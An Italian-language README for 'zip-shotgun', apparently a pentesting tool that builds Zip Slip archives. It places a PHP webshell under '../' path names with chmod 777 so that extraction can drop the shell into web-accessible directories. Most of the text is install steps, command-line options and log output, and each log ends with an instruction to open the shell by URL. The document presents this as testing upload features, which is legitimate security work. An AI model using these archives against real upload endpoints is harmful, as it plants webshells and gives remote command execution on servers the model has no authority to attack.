jpiechowka/zip-shotgunScript di utilità per testare la funzionalità di caricamento di file zip (e la possibile estrazione di file zip) per vulnerabilità (alias Zip Slip)
Script utility per testare la funzionalità di upload di file zip (e la possibile estrazione di file zip) per vulnerabilità (alias Zip Slip). L'idea per questo script proviene da questo post su Silent Signal Techblog - Compressed File Upload And Command Execution e da OWASP - Test Upload of Malicious Files
Snyk.io ha un report su come funziona: Zip Slip vulnerability e un repository GitHub con librerie vulnerabili in diversi linguaggi: Snyk.io Zip Slip github repo
C'è anche un ottimo video di LiveOverflow che fa luce su Zip Slip e le vulnerabilità Zipperdown: Critical .zip vulnerabilities? - Zip Slip and ZipperDown
Questo script creerà un archivio che contiene file con "../" nel nome. Durante l'estrazione, ciò potrebbe causare l'estrazione dei file in directory precedenti. Può consentire a un attaccante di estrarre shell in directory accessibili dal browser web.
La webshell predefinita è la PHP web shell di wwwolf e tutto il merito va a WhiteWinterWolf. Il sorgente è disponibile QUI
Installare usando Python pip (richiede Python 3)
pip3 install zip-shotgun --upgrade
Clonare il repository git e installare
git clone https://github.com/jpiechowka/zip-shotgun.git
Eseguire dalla directory principale del repository clonato (dove si trova il file setup.py)
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Show the version and exit.
-c, --directories-count INTEGER
Count of how many directories to go back
inside the zip file (e.g 3 means that 3
files will be added to the zip: shell.php,
../shell.php and ../../shell.php where
shell.php is the name of the shell you
provided or randomly generated value
[default: 16]
-n, --shell-name TEXT Name of the shell inside the generated zip
file (e.g shell). If not provided it will be
randomly generated. Cannot have whitespaces
-f, --shell-file-path PATH A file that contains code for the shell. If
this option is not provided wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) php shell will be added
instead. If name is provided it will be
added to the zip with the provided name or
if not provided the name will be randomly
generated.
--compress Enable compression. If this flag is set
archive will be compressed using DEFALTE
algorithm with compression level of 9. By
default there is no compression applied.
-h, --help Show this message and exit.
Usando tutte le opzioni predefinite
zip-shotgun archive.zip
Parte dell'output dello script
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
Usando le opzioni predefinite e abilitando la compressione per il file archivio
zip-shotgun --compress archive.zip
Parte dell'output dello script
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
Usando le opzioni predefinite ma cambiando il numero di directory da risalire nell'archivio a 3
zip-shotgun --directories-count 3 archive.zip
zip-shotgun -c 3 archive.zip
Lo script scriverà in totale 3 file nell'archivio
Parte dell'output dello script
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
Usando le opzioni predefinite ma fornendo il nome della shell all'interno dell'archivio e abilitando la compressione
Il nome della shell non può contenere spazi
zip-shotgun --shell-name custom-name --compress archive.zip
zip-shotgun -n custom-name --compress archive.zip
Il nome per i file della shell all'interno dell'archivio sarà impostato a quello fornito dall'utente.
Parte dell'output dello script
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../../custom-name.php
...
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL
Fornire un file shell personalizzato ma usare un nome casuale all'interno dell'archivio. Impostare il conteggio delle directory a 3
zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip
zip-shotgun -c 3 -f ./custom-shell.php archive.zip
Il codice della shell verrà estratto dal file fornito dall'utente. I nomi all'interno dell'archivio saranno generati casualmente.
Parte dell'output dello script
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
Fornire un file shell personalizzato e impostare il nome della shell da salvare nell'archivio. Impostare il conteggio delle directory a 3 e usare la compressione
zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip
zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip
Il codice della shell verrà estratto dal file fornito dall'utente. I nomi all'interno dell'archivio saranno impostati al nome fornito dall'utente.
Parte dell'output dello script
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:25:19 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL